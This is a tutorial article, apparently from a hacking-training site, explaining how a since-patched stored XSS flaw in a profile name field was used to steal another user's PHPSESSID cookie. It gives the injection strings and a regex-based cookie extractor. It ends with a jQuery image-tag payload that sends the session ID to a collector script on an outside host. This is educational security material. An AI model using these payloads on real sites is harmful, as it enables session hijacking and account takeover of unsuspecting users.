Introduction

This article will try to demonstrate and explain one of many ways XSS is used. The example is based on a previous vulnerability in the profile edit page at HackThis!! (this vulnerability has since been patched) but it is applicable to a lot of places all around the internet. The article will start off by shortly going through how to find a vulnerability that can be used for XSS, and then showing the steps necessary to exploit the vulnerability. The goal of our exploit will be to gain access to the site as another user by stealing his/her “PHPSESSID” cookie.

Background reading

If you haven’t already it is useful to already have an understanding of XSS before continuing. An Introduction to Cross-Site Scripting (XSS) should give you a good introduction.

Finding a vulnerability

The first step when it comes to finding a vulnerability is to find a field, or a parameter, that is processed by the server and then printed somewhere on the page. A good example could be a search field, since sites usually includes the original search-query somewhere on the result page (no, Google is not vulnerable). However, search fields has the disadvantage of, in most cases, being non-persistent (see http://en.wikipedia.org/wiki/Cross-site_scripting#Types for differences between a persistent and a non-persistent XSS vector). A much better field would be a field that is saved, such as the fields on the profile edit page. In this example I decided to try and use the username field on the edit profile page.

Testing a vulnerability

The next step is to check whether the field is vulnerable or not. Depending on where on the page this field is later printed the process differs a bit. The field i choose, the username field on the profile edit page, had its input printed in the value property of the field field itself (see the image above). The first thing you want to do if your value is printed in a field property is to “break out” from the property assignment. In my case that would be by ending the opening quote.

Name entered: testing"testing  

<label for="name">Real Name:</label><br/>  
<input name="name" value="testing"testing" />  

As you can see above, the quote entered into the field isn’t filtered and the text following the quote is no longer part of the value property of the username field. That means it’s time to insert some javascript.

Once you have found a field that can be modified to let you insert html into the page it’s time to take advantage of it. Let’s start with something easy, just to make sure it really works.

Name entered: "/><script>alert('xss');</script>  

<label for="name">Real Name:</label><br/>  
<input name="name" value=""/><script>alert('xss');</script>" />  

If you’ve gotten this far without any filters stopping you, then you’re lucky. The field you have choose is vulnerable, and we can go ahead and start exploiting it.

Getting the cookie

As said earlier, we want to get the PHPSESSID cookie. So how would we do that? Luckily for us there is an easy way to get the current cookie(s) in javascript.

<script>alert(document.cookie);</script>  

The document.cookie string looks something like this (without the line-breaks):

PHPSESSID=1234567890abcdef1234567890abcdef;  
_utma=227779588.370893646.1344613812.1344699114.1344703344.10;  
__utmc=227779588;  
__utmz=227779588.1344613812.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)  

The string returned, as you can see, contains all the cookies for the current page. We only really care about the PHPSESSID, so let’s filter the cookie string a bit.

var cookieString = document.cookie;  
var sessIDMatch = /PHPSESSID=(\w+)/.exec(cookieString);  
var sessID = sessIDMatch[1];  

This script is unnecessarily long however. Most fields (especially on a profile edit page) will have some kind of length-limit and you will usually have to optimize your script in order to not break this limit. So let’s shorten it down a bit. Often times this can be done using either Google’s Closure Compiler, http://closure-compiler.appspot.com (use the “simple” setting) or the javascript packer, http://dean.edwards.name/packer/ (shrink variables but don’t base 62 encode). In this case though it was better to do it manually, mostly because we are using regular expressions.

a=/D=(\w+)/.exec(document.cookie)[1];  

Note how we are able to use only the big D from the PHPSESSID in our regular expression, as we know that no other cookie ends with a big D.

Stealing the cookie

Now that have found a way to extract the session cookie, we need some way to steal it. For this step you will need to set up your own saving script on another server that can collect the sent cookie. Depending on how “sneaky” you want to be there are a lot of different ways, the easiest being a straight forward redirect to your page, while a more hidden way would be using ajax to send the data in the background. For this example we will be using a third method, an image.

a=/D=(\w+)/.exec(document.cookie)[1];$('<img>').attr('src','http://example.com/xss.php?s='+a})  

There is nothing fancy going on here, we simply created an tag and set its src attribute to the url of our cookie collector script. We then include the session id in the query string. In this example I’ve used jQuery, as it is available on HackThis!!, but it’s also possible to create the img tag using, for example, the document.createElement approach. The jQuery method is considerably shorter however and, as already mentioned, shorter is in these circumstances often better.

Conclusion

With that our simple XSS attack is actually completed. If we had found a field that would expose our script to other member of the site and not only to ourself (as in my case) now all we would have had to do is sit back and wait for someone to stumble across our malicious page. In my case, though, there are a couple of additional steps required to make the exploit work. But that is for a later time.

Thanks for reading, and feel free to send me a PM or leave a comment if there is anything you are wondering about.